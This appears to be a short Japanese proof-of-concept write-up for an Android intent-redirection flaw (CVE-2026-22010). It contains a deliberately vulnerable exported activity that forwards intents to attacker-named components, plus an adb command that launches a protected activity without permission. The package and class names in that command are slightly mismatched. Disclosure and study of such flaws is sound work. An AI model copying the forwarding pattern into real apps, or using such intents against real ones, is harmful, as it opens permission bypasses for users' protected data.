
CVE-2026-22010 Androidインテントリダイレクションの概念実証: エクスポートされたアクティビティがインテントを攻撃者制御の内部コンポーネントへ転送し、権限チェックをバイパスすることを実証します。脆弱なJavaコードとadb悪用手順が含まれます。
// VulnActivity.java - Exported activity that forwards intents
public class VulnActivity extends Activity {
@Override
protected void onCreate(Bundle b) {
super.onCreate(b);
Intent incoming = getIntent();
// Retrieve target component from extras
String targetPkg = incoming.getStringExtra("pkg");
String targetCls = incoming.getStringExtra("cls");
Intent forward = new Intent();
forward.setClassName(targetPkg, targetCls);
// Copy all extras from original intent
forward.putExtras(incoming);
startActivity(forward);
}
}
エクスポートされたAndroidアクティビティが、受信したインテントをインテントのextrasで指定されたコンポーネントへ無条件にリダイレクトします。攻撃者は、アプリが保護された内部アクティビティを攻撃者制御のデータで起動するように仕向けるインテントを作成でき、権限チェックをバイパスできます。
脆弱なアプリをAndroidエミュレータにデプロイします。adbを使用してインテントを送信します:
adb shell am start -n com.example/.VulnActivity --es pkg com.example.internal --es cls com.example.SecretActivity
内部アクティビティが適切な権限なしに起動します。